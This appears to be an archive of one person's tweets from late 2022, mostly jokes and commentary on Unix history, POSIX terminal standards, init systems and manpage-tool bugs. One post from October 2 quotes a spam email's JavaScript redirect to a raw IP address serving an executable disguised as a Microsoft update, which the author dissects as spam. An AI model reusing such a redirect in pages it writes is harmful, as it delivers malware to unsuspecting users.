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auditd in ≤1979 :0

 Fri Sep 30 23:43:43 +0000 2022

no loads shed pimped-out california summer

 Sat Oct 01 12:03:00 +0000 2022

no, Rust took like 20 years to get where C++ got. l + no grindset

 Sun Oct 02 00:01:29 +0000 2022

19

 Sun Oct 02 00:08:28 +0000 2022

also how is this news, ive seen this in the trees i was rebasing against last week at the latest

 Sun Oct 02 00:10:28 +0000 2022

← cursed to post (greg bullied me into it)

 Sun Oct 02 00:18:18 +0000 2022

1993; this is linux 0.99.1[123]

 Sun Oct 02 00:24:53 +0000 2022

yeah, i already blocked two nazis off it lol

 Sun Oct 02 15:36:47 +0000 2022

"roman salute avatar with georgia meloni pinned" is a good start

 Sun Oct 02 15:40:07 +0000 2022

no_reply@mail.com... t minus 바이러스.exe attached = ?

 Sun Oct 02 15:41:41 +0000 2022

lmfao come on, the application/octet-stream attachment is

<script type="text/javascript">
window.location.href = "http://39.104.95.207/vendor/phpdocumentor/Microsoft_Pending/Microsoft_New_Pending_Update.exe";
</script>

 Sun Oct 02 15:43:10 +0000 2022

i was joking about the virus.exe attachment :v

 Sun Oct 02 15:44:27 +0000 2022

(a) galaxy-brain DNS log circumvention with direct IP embedding, (b) pings to there (whois says china mainland) take 300ms, (c) multiple minutes to get a HTTP request through /at all/. A-grade spam, lads

 Sun Oct 02 15:49:33 +0000 2022

never felt like banging my head in a wall more than when using openrc on alpine

 Mon Oct 03 11:08:50 +0000 2022

modern-form (Net/Free)BSD-style init is pretty okay service-tactically (yes this excludes OpenBSD). shame it completely excludes any sort of lifetime control or supervision

 Mon Oct 03 11:12:06 +0000 2022

it's really funny that ubuntu transitioned to pid1 runit before debian switched to systemd so ended up switching twice. no opinion about runit itself

 Mon Oct 03 11:14:10 +0000 2022

I don't think there's really a reason to pick anything ideologically between SysIII-style init (modern busybox ig, could stretch to sinit but that's V7/BSD) and systemd/runit/supposedly-pid1-s6init-but-i-haven't-tried-that-and-the-guy's-execline-is-detached-from-reality-so

 Mon Oct 03 11:20:06 +0000 2022

it's hilarious that solaris has a systemd that's even more systemd than systemd but solaris users absolutely unequivocally love it and it's heralded as the best init/supervision system; [follow-up systemd opinion removed]

 Mon Oct 03 11:24:21 +0000 2022

my only opinion about dinit is from having just looked at their repo and it looks like A Systemd, so its Probably Fine; any association with execline renders a service Questionable to me so yeag

 Mon Oct 03 11:34:23 +0000 2022

it's total across zones, and uh, well.

 Mon Oct 03 11:38:45 +0000 2022

im trapped in the caption factory

 Mon Oct 03 12:09:50 +0000 2022

sixteen days. SIXTEEN DAYS! and across the month boundary. i got the FV today

 Mon Oct 03 12:14:27 +0000 2022

tricky question! none, POSIX doesn't specify long options, so the only way to interpret this is to ignore it
fscks don't have a consistent interface, much less a standard one
chmod only takes -R
rm is forbidden from operating on /
so tar, but -f takes an option-argument
so none

 Mon Oct 03 14:42:21 +0000 2022

the libc abi is an abugida

 Mon Oct 03 18:24:09 +0000 2022

?

 Mon Oct 03 19:57:36 +0000 2022

i wanted to but i dont trust it at literally any point that isn't the outside corners and i dont really want to get tetanus :/

 Mon Oct 03 20:45:02 +0000 2022

holy shit lmao; left is POSIX.1-202x Draft 2.1, right is UNIX User's Manual, Release 3.0 (i.e. SysIII (whom you may known from its later hits as SysV)). left is dated August 2021, right is dated June 1980

 Mon Oct 03 22:00:40 +0000 2022

please. my standard. she is very sick.

 Mon Oct 03 23:27:39 +0000 2022

this is all the funnier given that no-one has historically ever actually used split speeds, as far as I can discern. there is /one/ usage of it in V7 (i.e. very late), undocumented, as "stty gspeed" which yielded ispeed 300 ospeed 9600 and I doubt was ever actually used

 Mon Oct 03 23:30:51 +0000 2022

lads... is this true? this may revolutionise computing as we know it!

 Tue Oct 04 14:06:42 +0000 2022

holy shit i didnt process the date https://timesmachine.nytimes.com/timesmachine/1922/08/10/99054387.pdf; that's a hundred years ago

 Tue Oct 04 14:07:16 +0000 2022

just breached 45 pages

 Tue Oct 04 18:45:33 +0000 2022

uninverted colours!

 Tue Oct 04 18:50:09 +0000 2022

lol this reads like they're kinda mad about it but dont wanna be like super openly mad about it

 Tue Oct 04 22:01:50 +0000 2022

true mastery of consistent branding

 Tue Oct 04 22:05:51 +0000 2022

oh good, the administrator's manual is branded [BELL] Western Electric (above) but has a copyright notice for Bell Laboratories, Inc.

 Tue Oct 04 22:08:10 +0000 2022

haha the brainworms continue: this is SysVr1, and this is a /new paragraph/ – login wasn't /bin/sh-special in SysIII either!

 Tue Oct 04 22:53:15 +0000 2022

the most robust user accounting system in the world, howeve,r it is so fragile as to fail when handled by any force other than the delicate touch of a lesbian .

 Tue Oct 04 22:55:27 +0000 2022

you may jest but this holds

 Tue Oct 04 23:04:31 +0000 2022

stty (synchronous teletype thank you)

 Tue Oct 04 23:08:40 +0000 2022

just typed an em-dash as \(em in a github comment. pray for me

 Wed Oct 05 10:24:28 +0000 2022

the only "personality type" bull shit i believe in is whether you call dome keeper resources by the colour or the shape

 Wed Oct 05 10:58:55 +0000 2022

she spill on my stack til i stall

 Wed Oct 05 10:59:18 +0000 2022

ive dug very deep to find just how insane the SysV VSWTCH "job control" must've been and jesus fucking christ

 Wed Oct 05 16:48:09 +0000 2022

i dont think a worse "job control" scheme has ever been conceived of

 Wed Oct 05 16:49:43 +0000 2022

i hate it so fucking much. they HAVE the VINTR/CINTR convention. WHY is this the ONLY thing that's treated specially (at least it's not in the kernel). WHY does the default overlap the default VEOL/VEOL2

 Wed Oct 05 17:02:36 +0000 2022

f

 Wed Oct 05 19:18:22 +0000 2022

a wise man once said: wole w wiadrach nosić wode niż słuchać depeche mode and i agree

 Wed Oct 05 19:44:43 +0000 2022

:)

 Wed Oct 05 19:48:41 +0000 2022

this tweet for my SVr1 homies ONLY

 Thu Oct 06 00:55:31 +0000 2022

0%; microsoft "yeah just load random vendor third-party shit" brainworms is epistemic poison, only heretofor enforced by nvidia's "ooooo install our special drivers for binux!!!" idiocy

 Thu Oct 06 15:42:03 +0000 2022

big words from SysVr4

 Thu Oct 06 17:15:31 +0000 2022

they fired the fucking gnome bro. what the fuck

 Thu Oct 06 19:40:51 +0000 2022

it is, thanks! fixed

 Thu Oct 06 19:45:05 +0000 2022

just how good(?) were (are, I guess) STREAMS? what's the juice that makes them so much better. is it that you get finer-grain stacking of I/O layers or what.

 Thu Oct 06 19:59:33 +0000 2022

guess which stupid bitch can't read more than the paragraph at the exact center of the page. so i guess it is just smaller drivers with better layering

 Thu Oct 06 20:04:16 +0000 2022

what the fuck sorry?

 Thu Oct 06 20:21:10 +0000 2022

what da font doin

 Thu Oct 06 20:36:47 +0000 2022

how did we go from (1,2) to (3)

 Thu Oct 06 23:23:34 +0000 2022

🤡

 Thu Oct 06 23:55:20 +0000 2022

lmao i was wondering why the tape filenames were so fucked up, it turns out they invented them and its just acronym for source code transfer magtape/floppy. incredible, no notes

 Fri Oct 07 00:38:00 +0000 2022

do NOT interact if you wouldnt call me on /dev/rsctmtm8 (raw source control transfer magnetic tape PE device 8)

 Fri Oct 07 00:39:49 +0000 2022

also note the transcendent page numbering scheme. love too direct readers to page TERMIO(7).10

 Fri Oct 07 00:43:08 +0000 2022

lmao (a) and what? (b) this is the only occurrence of TCGETA (honestly surprising they managed this since the commands are TCGETS, TCSETS, TCSETAW, TCSETAF; difficult to miss.

 Fri Oct 07 00:48:26 +0000 2022

also this includes the manual (via the SVID) directly, so VEOL2 is lost and the out-of-order allocation of VSWTCH unexplained, because of course they are

 Fri Oct 07 00:49:50 +0000 2022

:)

 Fri Oct 07 01:03:58 +0000 2022

groff nroff 24-bit-colour-escapes when

 Fri Oct 07 01:05:19 +0000 2022

grass cum + stiff milks goated combo 800 years and counting

 Fri Oct 07 01:45:22 +0000 2022

a sacred 49-year-old tradition

 Fri Oct 07 11:20:41 +0000 2022

an asterisk thats an actual star? :0

 Fri Oct 07 12:26:42 +0000 2022

uuug

 Fri Oct 07 17:19:18 +0000 2022

he detested the Nazi dictatorship, BUT the labour was so cheap it'd be a crime not to use it, really

 Fri Oct 07 17:19:58 +0000 2022

great look for their "we shaped history in the past, now we shape the future in the present" ad campaign :)

 Fri Oct 07 17:20:20 +0000 2022

i think The ISBN Corporation™ should just keep a copy of every book with an ISBN assigned, maybe even scanned! who knows

 Fri Oct 07 19:30:37 +0000 2022

XPG2 doesn't seem to actually exist. only Volume 1 (XCU) of XPG3 is extant. does the X/Open Company, Ltd. have a copy do you thin- we regret to inform you the x/open company has been acquired

 Fri Oct 07 19:32:44 +0000 2022

zamn, @__phantomderp clean yo sheep glasses man!!

 Fri Oct 07 21:51:19 +0000 2022

you better not misread tab3 as tab8 like the XPG2 editor did then, shit; cleaning your glasses is like Rust for your eyeballs (this made more sense in my head)

 Fri Oct 07 21:54:42 +0000 2022

maybe add/sub some guy but guys are expensive so

 Sat Oct 08 01:59:44 +0000 2022

i was gonna wax poetic but the manual already says what I was gonna:
> Use -T man to translate mdoc(7) input into man(7) output format. This is useful for distributing manual sources to legacy systems lacking mdoc(7) formatters. Embedded eqn(7) and tbl(7) code is not supported.

 Sat Oct 08 10:52:35 +0000 2022

the "legacy systems" here are Plan9 (well, any research unix distro), Bx < 4.3-Reno, and pure SysV (r4 of which does include BSD (well, they're SunOS-branded) macro packages but they're all 4.3BSD)

naturally, (1) is what you get if you /do/ have tbl input, and (2) \(em eqn

 Sat Oct 08 11:02:53 +0000 2022

you shouldn't use this unless you /really/ hate your users (and it's neither linux nor debian, it's groff; void(? or alpine? same diff) uses mandoc by default, and debian's robust alternatives system and means insane enough people do use mandoc as their system man(1))

 Sat Oct 08 11:06:26 +0000 2022

kms spelled an emdash as \(em again. oh well

 Sat Oct 08 11:07:17 +0000 2022

-T man. or -T mdoc, probably (in principle the latter shouldn't hurt but if it goes through the validator, and I assume it does because otherwise what's the point, then you're gonna also get shit out the other end)

 Sat Oct 08 11:30:58 +0000 2022

in general id recommend not using mandoc unless you're rendering to HTML and if you /are/ rendering to HTML I'd recommend popping a beta blocker and ignoring the rendering bugs, especially if you aren't on CVS mandoc

 Sat Oct 08 11:33:29 +0000 2022

for reference, https://git.sr.ht/~nabijaczleweli/voreutils/tree/60382426fdc1a2e8bd9cd7a753dc717050bda25f/item/Makefile#L174-204 is how i pre- and post-process voreutils manuals. the preprocessing is common for the distribution output (version string, unfucking `~^ being accents in troff), the postprocessing is mandoc-Thtml-specific

 Sat Oct 08 11:45:36 +0000 2022

cf. also all the other http://inbox.vuxu.org links in the repo for other mandoc workarounds, and some that I work around quietly/are unworkaroundable in https://inbox.vuxu.org/mandoc-discuss/?q=f%3Anabijaczleweli / https://inbox.vuxu.org/mandoc-tech/?q=f%3Anabijaczleweli also note how .if n is always true and t false, regardless of output device

 Sat Oct 08 11:48:45 +0000 2022

for now: 3, its missing stuff (and there's an outstanding wc -c with-seeked-stdin bug, and include/vore-stdio forces buffered stdio for now); when it stops missing stuff: like a 10 if you have a C++ compiler

 Sat Oct 08 12:03:49 +0000 2022

voreutils cat does all the optimisations cp does anyway :)

 Sat Oct 08 12:04:26 +0000 2022

:0

 Sat Oct 08 12:04:50 +0000 2022

RT @eatijr: @nabijaczleweli cannot miss an opportunity to say my "breakFast Linux uses vore utilities"

 Sat Oct 08 12:08:01 +0000 2022

lol i think this is at least close to the longest-surviving text included verbatim in modern POSIX; top: Issue 7 ed. 2018 (same in Issue 8 current-year drafts), bottom: V6, page dated 5/27/74, manual dated May, 1975

 Sat Oct 08 12:34:37 +0000 2022

like four months since i ate a commercial bread 🤔

 Sat Oct 08 12:52:47 +0000 2022

if the only extant copy of your seminal international standard doesnt look like this are you even trying really

 Sat Oct 08 14:06:04 +0000 2022

registered trademark of the WHAT sorry?

 Sat Oct 08 16:32:58 +0000 2022

maybe when you have 7. Device- and Class-Specific Functions, 7.1 General Terminal Interface., 7.1.1 Interface Characteristics., 7.1.1.7 Non-Canonical Mode Input Processing, 7.1.1.7.3 Case C: Min = 0, Time > 0 you should rethink i think. imo. too me

 Sat Oct 08 17:13:44 +0000 2022

in IEEE Standard Portable Operating System Interface for Computer Environments,

 Sat Oct 08 17:15:52 +0000 2022

this is two tweets because the full thing is 266 characters. maybe a suboptimal layout? would love to know your thoughts on this

 Sat Oct 08 17:17:09 +0000 2022

very normal and reasonable illumos moment (all of these are ABC, Alt+abc, three backspaces)

 Sat Oct 08 22:44:10 +0000 2022

how the hell they invent two ^?s for the middle character is beyond me, much more so in -echoe

 Sat Oct 08 22:51:12 +0000 2022

wet guys do b free if youre near a big river tho. many things to consider

 Sat Oct 08 23:59:09 +0000 2022

food youtubers attempt to take a remote stab at considering quantifying what they talk about challenge (impossible)

 Sun Oct 09 02:24:43 +0000 2022

eater dpkg arc? 🥺

 Sun Oct 09 10:32:05 +0000 2022

can't do much worse than kiss

 Sun Oct 09 11:31:18 +0000 2022

also you should get like really obnoxious with the metaphor. a good package manager lays nomenclature so thick it's impermeable... "upstream menu plus vase", ladle-related backends, packages are gulps, the installation throbber is like (1), uninstallation is exhale

 Sun Oct 09 11:40:43 +0000 2022

im only half-joking, primarily because i got a cargo-update report once that linked to some macintosh package manager and i think their metaphor of choice was they poured beer? or something? i gave up trying to understand because nothing made a shred of fucking sense

 Sun Oct 09 11:42:19 +0000 2022

phonotactics are probably the most important aspect of any package management system

 Sun Oct 09 11:47:32 +0000 2022

https://github.com/nabijaczleweli/cargo-update/issues/132#issuecomment-629855616 :)

 Sun Oct 09 11:59:21 +0000 2022

[editorialises you]

 Sun Oct 09 19:53:16 +0000 2022

sanest standard editor

 Sun Oct 09 21:26:57 +0000 2022

the ordinal of 4.3 should be four-point-threeth

 Mon Oct 10 19:24:01 +0000 2022

f

 Tue Oct 11 01:01:59 +0000 2022

what the actual hell. i just got a notification for a github comment i didn't remember making, turns out it's a mail reply /they literally queued/ on 2022-08-10?!??!?!? https://github.com/neomutt/neomutt/issues/3498#issuecomment-1274397719

 Tue Oct 11 11:27:30 +0000 2022

ANOTHER? https://github.com/openzfs/zfs/issues/13459#issuecomment-1274238497

 Tue Oct 11 11:28:11 +0000 2022

??!?!??! github too poor to process mail in less than 5 months?? https://github.com/openzfs/zfs/issues/12988#issuecomment-1274225338

 Tue Oct 11 11:31:44 +0000 2022

they did surgery on a bublik

 Tue Oct 11 11:40:34 +0000 2022

holy shit okay literally me though?

 Tue Oct 11 15:38:43 +0000 2022

i mean yeah but since /may/? has it been bouncing around in the DoD as they tried to ascertain whether me and rich were international threats to the LLNL?

 Tue Oct 11 15:40:05 +0000 2022

all.. what?

 Tue Oct 11 18:57:11 +0000 2022

the POSIX spelling for the terminal interface is such semantic poison that all systems that post-date it cannot come up with anything else, and include most of that text verbatim, just editorialised from must/shall to does

 Tue Oct 11 19:01:45 +0000 2022

this happens to both 4.4BSD and SysVr4, the latter of which's termio(7) appx. doubles in size, but half of that is just sucking off the POSIX text

 Tue Oct 11 19:02:12 +0000 2022

id say that you'd want "path" here, yeah; also note "when typed output is required", when no typed output has been made in at /least/ 30 years

 Tue Oct 11 19:21:06 +0000 2022

The Shell is a big deal, especially noninteractively, but I think spelling it like that is just a consequence of the typographical convention making "sh" infeasible; the modern usage of script (which I'd disagree with, you wouldn't call it a C script) post-dates V5 by like 10y

 Tue Oct 11 19:30:25 +0000 2022

the only "script" in V5 is [1]; i'd etymologise it as being rederived from BSD's script(1) "typescript", hinged on (a) making the shell programmable-in so it's no longer literally A Sequence and (b) reducing it ontologically so you wouldn't /think/ of it as programming, like ed

 Tue Oct 11 19:38:28 +0000 2022

every modern programming language goes through multiple levels of compilation, and this includes find(1); /maybe/ you could make the argument for ancient shells, for which this /was/ a script/sequence, but that really doesn't hold on any post-goto sh, much less csh

 Tue Oct 11 19:45:17 +0000 2022

hell, even if you discount microprogrammed CPUs that also interpret and/or JIT your program to make it run faster by regrenaming or branch pred or whatever, I don't think there's a meaningful difference between interpreting java bytecode by the JVM/python by PyPy/AWK/$SHELL

 Tue Oct 11 19:50:33 +0000 2022

turning the big dial that says "interpretation" adn

ed? sure, doesn't loop, you're literally scripting what you'd type in.
sed? very fine line, not turing-complete, but there's flow control &c.
everything else? just a program for a fucked up VM (incl. x86)

 Tue Oct 11 19:55:30 +0000 2022

hell, you could very well say C is a script to be interpreted by cc, to produce a script for ld, to produce a script for the kernel a.out loader, and only the resulting image is a program. /that/ I'd agree with, but it's not very useful. would love to know your thoughts on this

 Tue Oct 11 19:58:04 +0000 2022

not that shocking actually id say, the only fucked-uppedness comes once you start to add a screen because then you want to do more than read or print lines; pre-video-terminal the driver is just about shitting bytes, and the complicated part is how long to sleep for for motion

 Tue Oct 11 20:09:20 +0000 2022

sure http://www.artificialworlds.net/wiki/IGCC/IGCC

 Tue Oct 11 20:12:31 +0000 2022

ime the repl is the worst possible way to engage with just about anything that isn't the shell, and even then the shell you write interactively is rarely the same dialect as you'd write noninteractively, so id also say my point stands

 Tue Oct 11 20:15:10 +0000 2022

as opposed to python that ...... doesn't give you a compilation error?

 Tue Oct 11 20:15:47 +0000 2022

or, very literally, any language whose syntax isn't "just fuck my shit up + errors devnulled"?

 Tue Oct 11 20:17:04 +0000 2022

?

 Tue Oct 11 20:20:00 +0000 2022

it was installing

 Tue Oct 11 20:23:55 +0000 2022

i think the only language with syntax insufficient for not-necessarily-being-a-script is like V1-era sh, since it didn't compile anything until it read it, the compilation step consisted of word-splitting, and there was so little syntax that p much anything was Okay parse-wise

 Tue Oct 11 20:26:11 +0000 2022

\(bs

 Tue Oct 11 22:18:28 +0000 2022

pwease at least try

 Tue Oct 11 22:21:43 +0000 2022

[worms your hole]

 Wed Oct 12 00:28:31 +0000 2022

yoooooo, new .Nd punctuation just dropped?

 Wed Oct 12 14:29:31 +0000 2022

....... who exactly is this supposed to be attributed to, exactly?

 Wed Oct 12 14:56:30 +0000 2022

wait i just realised it's cfget{o,i}speed but cfset{i,o}speed

 Wed Oct 12 15:07:14 +0000 2022

:)

 Wed Oct 12 16:01:58 +0000 2022

thats all i wanted really https://github.com/nabijaczleweli/babfig/commit/430076b7ea36ba2fbd349e0a51a7b1613d909651

 Wed Oct 12 16:11:34 +0000 2022

heee heee heee hoo ho ho!

 Wed Oct 12 20:01:34 +0000 2022

https://inbox.vuxu.org/mandoc-discuss/20221012220824.hhqgvlci4x74k3qc@tarta.nabijaczleweli.xyz/T/#u

 Wed Oct 12 22:09:53 +0000 2022

"cum carbonation" eater bravely speaks out against horny twitter users,

 Thu Oct 13 11:36:54 +0000 2022

"e-mail as an alternative to telefax" sure is a hell of a take for 1995. "telefax"!

 Thu Oct 13 11:55:20 +0000 2022

come on, you love to see it

 Thu Oct 13 20:02:37 +0000 2022

honestly?? insane gall. you gotta respect it

 Thu Oct 13 23:04:06 +0000 2022

straight mfs really on here like "hey girl are you carbon because im kinda neutral about you"............

 Thu Oct 13 23:09:58 +0000 2022

turns out this is in the TODO dated 2019 so enjoy this limited-edition straight-from-the-drawer psycho mandoc bug

 Fri Oct 14 00:49:04 +0000 2022

👍

 Fri Oct 14 16:58:35 +0000 2022

SO fucking true

 Fri Oct 14 18:29:53 +0000 2022

holy shit i finally found why the Pq (and Po Pc) parentheses are so weird when compared to the normal ones; apparently they just have a ⅙m space around the ( and )???!?!?!?!?!?!?!??!

 Fri Oct 14 19:20:54 +0000 2022

(1,3) are before; (2,4) are after. really night and day, christ

 Fri Oct 14 19:22:56 +0000 2022

https://bugs.debian.org/1021795

 Fri Oct 14 20:19:30 +0000 2022

this type of posting is easy. too me. i can see how other gamers may be deterred or whatever but im just built different mental-wise

 Fri Oct 14 20:25:55 +0000 2022

(and, frankly, anything that distracts from writing the 69th page of the 16-page now-monograph is good)

 Fri Oct 14 20:26:38 +0000 2022

:)

 Fri Oct 14 20:54:10 +0000 2022

if you don't have at least one pageful of biblios to hardware manuals thrice your age are you even posting

 Fri Oct 14 21:32:47 +0000 2022

uuuuuuuuuuuuuug are we sure about this?

 Fri Oct 14 22:37:42 +0000 2022

least desperate standard user

 Fri Oct 14 22:55:13 +0000 2022

149 lines for 1003.2, 103 for POSIX, none of them relevant

 Fri Oct 14 23:20:39 +0000 2022

the MSA Advantage 900 demo video tweet was in the first half of the google results for me. eliza's the brand ambassador for me

 Sat Oct 15 01:14:11 +0000 2022

includes Sun Java Desktop System

 Sat Oct 15 10:21:31 +0000 2022

hard to think of anything that sounds like a worse experience

 Sat Oct 15 10:22:07 +0000 2022

yeah; nice fucking ballot, dipshit

 Sat Oct 15 11:12:23 +0000 2022

eater sourcehut brand ambassador pog?

 Sat Oct 15 12:44:43 +0000 2022

amazing. works from all views except when clicked through from a notification. five gigadollars in 2021

 Sat Oct 15 12:46:52 +0000 2022

its the drewisms (so tad preachy, and devault is a cretinous take factory in his off-time), but its actually fine and they don't seep in like at all. after having spent like three months on it that one summer it's the only "Forge" i don't vehemently despise

 Sat Oct 15 12:50:33 +0000 2022

overall, and i dont say this lightly (← Service hater), my like 30 bux a year or whatever is well-spent i think, and if it weren't, local setup is relatively trivial and mostly Just Works

 Sat Oct 15 12:58:04 +0000 2022

(where the latter is defined as "the worst part of the test VM to validate patches from was dealing with alpine braindeath")

 Sat Oct 15 13:00:31 +0000 2022

ZFS

 Sat Oct 15 14:51:36 +0000 2022

🥺

 Sat Oct 15 15:51:58 +0000 2022

the grate should be allowed a little erosion, as a treat

 Sat Oct 15 16:53:07 +0000 2022

i could eat biryani for 800 people. it would be easy. too me

 Sat Oct 15 22:09:54 +0000 2022

IEEE Institutional Access GF

 Sat Oct 15 23:14:54 +0000 2022

official stance on feet unclear, so cant advise you either way on this

 Sun Oct 16 02:28:52 +0000 2022

is this real?

 Sun Oct 16 11:42:19 +0000 2022

the reputational damage done to memcmp has been a disaster for the human race

 Sun Oct 16 13:11:41 +0000 2022

but also it's not integer-identical, -127 != 255, idk what you expect here. if you want memcmp then spell memcmp memcmp imo

 Sun Oct 16 13:15:56 +0000 2022

"paid"

 Sun Oct 16 14:42:01 +0000 2022

i posted the illumos bug to illumos-discuss@ when i posted it here but it still hasn't shown up so

 Sun Oct 16 14:48:45 +0000 2022

is żurek bread

 Sun Oct 16 15:10:32 +0000 2022

thesis: both consist fundamentally of fermented flour that you then cook
antithesis: most breads are cooked dry and end up stiff
synthesis: żurek is bread
dialectics: overly reductive, bread's cooked in all sorts of ways, even fully-wet, cf. knedlík; good żurek is stiff enough

 Sun Oct 16 15:18:23 +0000 2022

plus, from the utilitarian perspective, you put the same shit in żurek you do on dry-cooked bread (smoked guys, egg, more bread, horseradish)

 Sun Oct 16 15:20:20 +0000 2022

GRANULATED SUSPENDED STIFF MILK! of course, who could forget

 Sun Oct 16 15:23:11 +0000 2022

char* means "text, whatever the current locale is" and you uniquely don't care and have never cared about the encoding; void*/uint8_t* is bytes, and it's been that way since they came up with void (and/or put signedness on chars); idk

 Sun Oct 16 15:38:43 +0000 2022

are there any platforms that are historically char=uchar? this sounds like an invented problem, much like split serial speeds

 Sun Oct 16 15:38:57 +0000 2022

my fucked up rust liker's opinion is that if you're using char* for something that isn't "text in the current locale" you're holding it wrong and you should always use u8/i8 otherwise (this extends to all other integer sizes)

 Sun Oct 16 15:41:20 +0000 2022

i dont see how utf-8 is related here tbh

 Sun Oct 16 15:43:54 +0000 2022

love finding 30-year-old copy/paste errors lol

 Sun Oct 16 17:14:05 +0000 2022

lmfaoooooo it survived verbatim to POSIX.1-202x/D2.1

 Sun Oct 16 17:17:21 +0000 2022

https://www.mail-archive.com/austin-group-l@opengroup.org/msg10224.html :)

 Sun Oct 16 17:31:43 +0000 2022

waaaaaaaaaaaaaaaaaaaaaaaaaaaaa what the hell is happening. absolutely psycho groff bug

 Sun Oct 16 18:05:04 +0000 2022

https://bugs.debian.org/1021890

 Sun Oct 16 18:11:59 +0000 2022

uuuuuuuuuuuuuuuuuuuuuuuuuuuh no it isnt

 Mon Oct 17 00:36:20 +0000 2022

please, my standard, she's so fucking sick https://www.mail-archive.com/austin-group-l@opengroup.org/msg10225.html

 Mon Oct 17 00:44:01 +0000 2022

who need they SD5-XCU-ERN-97 applied and SYNOPSIS updated?

 Mon Oct 17 02:08:23 +0000 2022

it is fun to go goblin mode. too me

 Mon Oct 17 03:11:34 +0000 2022

the last 4 months of mandoc posts are all my hard bugs lol (i stripped out another month of like the opinionated ones)
(also two new ones: https://inbox.vuxu.org/mandoc-discuss/20221017022655.pmcjidqfqcuwz74s@tarta.nabijaczleweli.xyz/T/
https://inbox.vuxu.org/mandoc-discuss/20221017021749.2iieomqnf32ojxhg@tarta.nabijaczleweli.xyz/T/)

 Mon Oct 17 10:49:38 +0000 2022

my most cancellable take is that all domestic flights should be serviced by turboprop tupolevs imo

 Mon Oct 17 12:08:07 +0000 2022

sanest nederland immigration control policy

 Mon Oct 17 12:16:34 +0000 2022

sheeeeeesh

 Mon Oct 17 12:27:29 +0000 2022

RT @nabijaczleweli: @hipsterelectron sheeeeeesh

 Mon Oct 17 12:27:33 +0000 2022

many are saying this. also baud is not what you actually mean in the context of RS-232 or whatever, you're looking for gross bits per second. even the earliest standards that dont just quote a manual explicitly spec this /and/ keep using baud because fuck you

 Mon Oct 17 12:38:35 +0000 2022

there are swedes among us

 Mon Oct 17 17:38:34 +0000 2022

https://bugs.debian.org/1021961 :)

 Mon Oct 17 23:54:02 +0000 2022

maybe im skewed because i deal with stuff twice my age or whatever constantly but if it's On the wayback machine then it post-dates being interestingly weird by decades, and in general mostly just works, and if it's old enough it also Just works because it pre-dates Big Libc

 Tue Oct 18 11:33:10 +0000 2022

for reference, out of the like ~100 programs from source-available unixes i ran, 2BSD ar(1) is the only one that required a non-trivial port and only because it needs untangling middle longs – https://git.sr.ht/~nabijaczleweli/foreports; pretty much everything else Just builds ± headers

 Tue Oct 18 11:39:41 +0000 2022

f

 Tue Oct 18 15:29:46 +0000 2022

.... are we sure?

 Tue Oct 18 18:52:32 +0000 2022

the only problematic call-out post i care is about something that's ontologically problematic. imo.

 Tue Oct 18 21:17:43 +0000 2022

uhoh. is this good

 Wed Oct 19 00:23:43 +0000 2022

3Men 1 respirator

 Wed Oct 19 11:32:09 +0000 2022

they were not provided with adequate respiratory safety equipment :/

 Wed Oct 19 11:32:25 +0000 2022

nooooo, symbola doesnt have 🥴

 Wed Oct 19 13:08:47 +0000 2022

idk why the wb came out red on this

 Thu Oct 20 11:44:16 +0000 2022

the бухарка &a. is all lost to slugs, this is why most plants should come with a stem imo

 Thu Oct 20 11:55:49 +0000 2022

ok this mf persevering doe!!!

 Thu Oct 20 11:56:52 +0000 2022

sorry for party rocking :/

 Thu Oct 20 19:21:43 +0000 2022

she schweine on my fleisch til i vore

 Thu Oct 20 21:38:53 +0000 2022

hey baby are you the bell system because i need to break up with you

 Thu Oct 20 23:02:03 +0000 2022

i am going insane

 Thu Oct 20 23:06:22 +0000 2022

conversely, i think they should stop doing that and use normal ones instead

 Fri Oct 21 14:59:28 +0000 2022

pbuh zfs but also jesus christ we should've just made PDF text layers be greppable

 Fri Oct 21 15:04:33 +0000 2022

thank.s

 Fri Oct 21 22:06:46 +0000 2022

this mf really called me a retard in a school uniform huh

 Fri Oct 21 22:11:11 +0000 2022

learning many things about myself tonight

 Fri Oct 21 22:26:00 +0000 2022

wat da hell. why the international book number differ between nations

 Fri Oct 21 23:44:56 +0000 2022

who up setting they type

 Sat Oct 22 00:14:56 +0000 2022

any1 else's one trip real or just mine?

 Sat Oct 22 00:52:48 +0000 2022

a down-and-out in seattle, his sign said "need a pile of bricks", what could this mean, &c., &c.

 Sat Oct 22 00:56:49 +0000 2022

crossbreed 👍

 Sat Oct 22 15:43:31 +0000 2022

severe - looking, sickly, creating an ominous presence. so true.

 Sat Oct 22 15:45:07 +0000 2022

kinda insane that it got the language right

 Sat Oct 22 15:50:51 +0000 2022

smug look, pudgy, very thin :)

 Sat Oct 22 16:09:58 +0000 2022

tumblr contest winner rna bioweapon anime girl cosplay

 Sat Oct 22 17:28:34 +0000 2022

wikipedia userbox dgeneral-0 "This user has never robbed a Dollar General"

 Sat Oct 22 17:47:11 +0000 2022

i mean, i decidedly approached rust from a different side, but from a quick glance (and otherwise glowing reviews), i think you're roughly who The Book (https://doc.rust-lang.org/stable/book/) is tailored for?

 Sat Oct 22 19:08:24 +0000 2022

clap is the Big One and it's Fine, so long as you turn off its USG-violating idiocy (https://github.com/nabijaczleweli/cargo-update/commit/a9aba93e236166d73d681017319dcb8f3f3a2005), yes

 Sat Oct 22 19:14:09 +0000 2022

XBD, Chapter 12 Utility Conventions, 12.2 Utility Syntax Guidelines (https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap12.html#tag_12_02)

 Sat Oct 22 19:17:28 +0000 2022

or ultrasonograph, but thats hard to do on a program

 Sat Oct 22 19:17:56 +0000 2022

man, i look so old now compared to 2 years ago when i shot this

 Sat Oct 22 19:27:37 +0000 2022

having an interface compatible with everyone else is overrated, yes; if i don't say "what the fuck are they DOING" at least once per invocation you're doing it wrong

 Sat Oct 22 19:31:46 +0000 2022

if you think that for "B:"/{"bc",required_argument} `a -B d e` and `a --bc d e` should be different from `a -B d -- e` and yield 'B',optarg="d"; 'B',optarg="e";optind=4 instead of 'B',optarg="d";optind=3 then idk what to tell you except that you fucking despise your users

 Sat Oct 22 19:35:50 +0000 2022

EVERYTHING should comply with the USG (trivially extended to GNU-style long options or not) by default, and you need a really good reason to make your thing not so

 Sat Oct 22 19:37:56 +0000 2022

lets goo im deviantart now

 Sat Oct 22 20:03:13 +0000 2022

there is a cat next to her

 Sat Oct 22 20:15:58 +0000 2022

poisoned google, lads

 Sat Oct 22 21:19:37 +0000 2022

is this (and i ask this in earnest because both me and the documentation are thick as pigshit) plan 9

 Sat Oct 22 22:33:06 +0000 2022

